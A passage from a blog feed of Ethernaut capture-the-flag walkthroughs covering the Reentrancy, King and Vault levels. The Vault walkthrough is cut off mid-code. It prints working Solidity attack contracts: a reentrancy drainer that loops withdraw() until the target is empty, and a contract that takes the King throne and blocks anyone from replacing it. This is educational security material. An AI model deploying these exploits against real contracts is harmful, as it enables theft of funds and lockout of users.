&lt;/div&gt;



&lt;p&gt;The next is “balanceOf” function which just returns the balance of someone with respect to its address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_who&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_who&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then comes the very important looking function “withdraw” which first checks that whether the balance of contract that is being attempted to withdraw is greater or equal to the requested amount. It then proceeds to send that amount to the requester and finally it attempts to change the state of contract by deducting the withdrawn amount from the balance of contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also there is an externally payable receive() function making a cameo appearance. (Just kidding!)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we understand the contract, we gotta break it from somewhere. And for that the level provides a bunch of hints in which this one is important.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Sometimes the best way to attack a contract is with another contract.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So we gotta find some clue where we can utilize another contract. And our clue is in the “withdraw” function. As this function attempts to send withdrawn amount to the requesting contract, we can use that contract’s payable function to our advantage.&lt;/p&gt;

&lt;p&gt;We can call in the “withdraw” function of our given contract in our own contract’s payable function. And by that the “withdraw” function calls the payable function our contract which again calls the “withdraw” function in given contract so the contract is stuck in the loop of withdrawing balances until all is drained out. When the contract will run out of balances, that’s when the condition of this function breaks and then it finally attempts to change the state of contract by deducting the requested amount from balances which has now dropped to 0.&lt;/p&gt;

&lt;p&gt;With that in mind, let’s create a contract like the following,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;interface&lt;/span&gt; &lt;span class="n"&gt;PillarsOfTheHack&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;donate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;TheReentranceHack&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PillarsOfTheHack&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="kr"&gt;immutable&lt;/span&gt; &lt;span class="n"&gt;reentrancy&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_reentrancy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;reentrancy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PillarsOfTheHack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_reentrancy&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;thehackitself&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;reentrancy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;donate&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;reentrancy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reentrancy&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"FAILED!!!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nb"&gt;selfdestruct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reentrancy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;withdrawableAmount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;
            &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt;
            &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;withdrawableAmount&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;reentrancy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;withdrawableAmount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this contract in place, use the instance address of the given contract while deploying it like the following,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---omVOgE_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ica7e22hlz9grsgsv39n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---omVOgE_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ica7e22hlz9grsgsv39n.png" alt="Image description" width="280" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now just add the instance address of given contract in At Address bar and set the Gwei value to 1000000 (which is equal to 0.001 ether) and run “thehackitself” function.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--B5G-ziDQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ylgar1tmlj8lbu70h0p3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--B5G-ziDQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ylgar1tmlj8lbu70h0p3.png" alt="Image description" width="280" height="554"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally, ensure that your hack worked right by checking it from the console of the level.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yCN1Ws8O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ga4vbvs1o9yz3c7j7nwa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yCN1Ws8O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ga4vbvs1o9yz3c7j7nwa.png" alt="Image description" width="338" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we managed to drain all the balance from the contract by donating 0.001 ether first, pushing the total balance to 0.002 ether. Then we withdraw the balance to 0 by making two iterations of 0.001 ether which is allowing us to reenter the contract and trigger the same function with total drain.&lt;/p&gt;

&lt;p&gt;Now just Submit Instance and voila!!&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 9 Walkthrough - King</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:56:30 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-9-walkthrough-king-3bfp</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-9-walkthrough-king-3bfp</guid>
      <description>&lt;p&gt;The instructions of this level explains it pretty much. You have to become the King of this contract by sending the most amount and remain King for future as well so nobody can dethrone you. Let’s start with understanding the contract first.&lt;/p&gt;

&lt;p&gt;The contract starts with three variables. “king” as address, “prize” as uint, and “owner” as address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;king&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;prize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then comes the constructor which is payable (meaning it can receive ether) and sets the contract initializer as ‘owner’ and ‘king’ and sets its sent value as ‘prize’.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
    &lt;span class="n"&gt;king&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;prize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next is a receive() function which is also payable and external (meaning it can be only be called by another contract and not itself). In this function, it requires the ether sender to have more or equal the value of “prize” OR it should be the “owner” of the contract. It then proceeds to use the transfer() method to transfer all the ether to the current dethroned “king” then set the ether sender as the new “king” and its sent ether as the new benchmark “prize”.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;prize&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;king&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;king&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;prize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally there exists a _king() function which returns the address of the current throne “king”.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;_king&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;king&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We will tackle this problem by creating a contract of our own which doesn’t have any function to receive ether.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;WatchTheThrone&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;king&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xd604cf3775FcCc4E9A06416C354A55C7f5C6c050&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;king&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Failed to send Ether"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;        
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here I created a contract by the name of one of the most luxurious rap album of all time forged by Ye &amp;amp; Jay-Z. This contract starts with a constructor which also happens to be payable so it can send ether to a contract. Inside the constructor, there is an address of king which is your Ethernaut Level Instance Address, next is a call() method being used with the same king having the value of ether that is being sent and is checked by a boolean. The require() method beneath it just throws an error in case the bool gives false and the ether is failed to be sent. We do not have a function in our contract which can receive ether so in this way we send the ether become the king and then nobody can dethrone us, all they can do is Watch The Throne.&lt;/p&gt;

&lt;p&gt;Set the Deployment configuration as follows and deploy the contract.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YhA4Kcdu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgri2fr9f6nkadpcg279.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YhA4Kcdu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgri2fr9f6nkadpcg279.png" alt="Image description" width="281" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After deploying the contract check the king of the contract and it will be yours by the following command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_king&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now just “Submit Instance” and then Ethernaut will attempt to become the new King but will eventually fail and we win!&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 8 Walkthrough - Vault</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:54:52 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-8-walkthrough-vault-1h80</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-8-walkthrough-vault-1h80</guid>
      <description>&lt;p&gt;This level emphasize on the concept of Blockchain that everything on a Blockchain is for everyone there to see. In this level, the contract acts a vault which requires a password to get in. Let’s breakdown the contract first to understand it.&lt;/p&gt;

&lt;p&gt;The contract starts with declaring two State Variables, a boolean “locked” and a bytes32 “password” which are public and private respectively. Remember that State Variables are stored on the Blockchain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;locked&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;bytes32&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next is the constructor of the contract which takes in the password as the parameter and sets the “locked” to true and saves the password in the variable “password”.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bytes32&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
